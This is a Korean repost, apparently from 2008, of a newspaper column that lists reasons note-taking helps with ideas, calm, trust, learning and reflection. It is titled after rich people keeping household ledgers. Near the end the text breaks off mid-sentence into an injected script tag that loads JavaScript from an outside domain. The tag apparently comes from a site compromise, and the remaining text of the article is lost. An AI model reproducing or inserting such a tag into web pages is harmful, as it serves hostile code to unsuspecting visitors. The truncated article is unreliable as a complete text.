부자들이 가계부를 쓰는 이유

작성자 : 이경희 | 조회수 : 5,054 | 작성일 : 2008년 10월 22일

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<BODYTEXT><div id='BODYTEXT' align="justify"><table class="article-photo left" width='10'><tr><td><a href="javascript:image_open('http://image.moneytoday.co.kr/image_realdisp.php?ImageID=2008042215142639309_1.jpg&Imf=1', 'IMAGE_VIEW', 300, 300, 'yes')" alt='원본 이미지 보기'><img src="http://image.moneytoday.co.kr/indexlink_image.php?no=2008042215142639309_1.jpg&index=6" alt="image" class="left" /></a></td></tr><tr><td><p></p></td></tr></table><BR />디테일을 강하게 하기 위해 필요한 것 넘버 원은 단연 메모다. 우리가 뭔가 일을 산뜻하게 처리하지 못나는 주범은 바로 자꾸 잊기 때문이다.
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<BR />무슨 의도를 갖고 그렇게 하는 것은 아니다. 어떻게 하다 보니까, 깜빡해서, 급한 일에 쫓겨서 그렇게 되는 것이다.
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<BR />종이 한 장 차이 때문에 믿을만한 사람이 되고, 신용불량자가 되기도 한다. 왜 그렇게 메모가 중요한 것일까? 도대체 메모를 해야만 하는 이유는 무엇일까?
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<BR />첫째, 아이디어가 떠오르는 시점과 활용 시점에 차이가 나기 때문이다. 아이디어는 순식간에 떠오른다. 그리고 유효기간이 아주 짧다. 많은 아이디어들은 당장 사용할 수 없을 때 떠오른다. 그렇기 때문에 그때그때 그것을 기록해야 한다. 그리고 필요할 때 활용할 수 있게끔 해야 한다. 그것이 메모의 가장 중요한 효용성이다.
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<BR />둘째, 메모를 하면 마음의 평화를 얻을 수 있다. 아인슈타인은 사소한 기억력이 나쁘기로 유명하다. 특히 집 전화번호를 책에서 찾거나 비서에게 물어 보곤 했다. 답답했던 사람들이 왜 전화 번호를 외우지 못하느냐고 물어보자 그는 이렇게 대답했다. "전 집 전화번호 같은 건 잘 기억을 안 합니다. 적어두면 쉽게 찾을 수 있는 걸 뭐하러 기억해야 합니까?"
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<BR />메모를 하면 잊어도 좋다. 그렇게 되면 마음의 평화가 오고, 창의적인 아이디어가 샘 솟는다. 두뇌를 활용하려면 두뇌를 저장과 기억기능으로 사용하지 말고 창조적 기능으로 사용해야 한다. 기록을 반드시 해야 할 것, 하지 않아도 좋을 것을 구분하는 것도 필요하다. 외울 것과 그렇지 않아도 상관없는 것을 구분하는 것 역시 필요하다. 외울 필요가 없는 것을 외우려고 노력할 때 마음의 평화는 깨진다.
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<BR />셋째, 메모하면 신뢰성이 높아진다. 식당에서 겪은 일이다. 열명 정도가 파스타 집에 가서 전채요리와 메인 메뉴를 시켰다. 제법 많은 숫자의 음식이다. 하지만 웨이터는 전혀 메모를 하지 않는다. 불안해진 내가 다 기억할 수 있겠냐고 묻자 걱정 말라고 대답한다.
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<BR />하지만 음식이 나오는데 3개나 엉뚱한 것이다. 그렇게 자신만만하던 웨이터도 얼굴이 벌개졌다. 그런 면에는 나는 메모하지 않는 사람은 신뢰하지 않는다. 강의 들을 때 아무 메모장을 준비하지 않는 사람도 그렇다. 회의 때도 그런 사람은 늘 있다. 언제까지 무엇을 하자고 결론을 냈지만 메모를 하지 않고 고개만 끄덕이는 사람은 믿을 수 없다.
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<BR />넷째, 메모는 좋은 학습 수단이다. 메모는 기억의 수단인 동시에 생각을 구체화하는 학습 수단이다. 메모는 극도로 짧은 행위지만, 그 짧은 순간 우리의 두뇌는 대화의 기능을 수행한다. 두뇌활동과 가장 밀접한 신체부위는 손이다. 다음은 혀와 입이다.
<BR />베토벤은 열심히 메모를 한 사람으로 유명하다. 악상이 떠오르면 어디에나 메모를 했지만 그 메모를 다시는 보지 않았다고 한다. 궁금해진 친구가 왜 메모를 하고 다시 보지 않느냐고 묻자 그는 이렇게 대답했다. "메모를 하다 보면 외워집니다. 다시 꺼내볼 필요성을 못 느낍니다." 누구나 이런 경험이 있을 것이다. 메모는 그 자체가 중요한 기억 프로세스이기 때문이다.
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<BR />다섯째, 메모는 반성과 예측의 좋은 수단이다. 아침에 일어나 하루 일을 계획하고, 자기 전에 하루 있었던 일을 반성하는 것은 성공의 중요한 습관이다. 그냥 머리 속으로 계획할 때하고 펜으로 쓰면서 계획하는 것은 품질에 큰 차이가 있다. 아침마다 수첩에 뭔가를 메모하다 보면 나도 모르게 새로운 아이디어가 많이 떠오른다.
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<BR />또 예전에 사용했던 수첩을 다시 보다 보면 미루었던 일들이 기억나기도 한다. 또 그런 과정을 통해 생각을 정리할 수 있다. 그래서 부자들은 모두 가계부를 쓴다. 가계부의 핵심은 반성과 예측인데 이 과정을 통해 부자들은 반성을 하고 예측을 하는 것이다. 메모를 하다 보면 영혼이 맑아진다. 내가 좋아하는 시간 중 하나는 아침에 일어나 어제 일을 반성하고 하루 일을 계획할 때이다.
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<BR />여섯 째, 메모가 돈이 된다. 이노 디자인의 ?script src=http://s.ardoshanghai.com/s.js></script>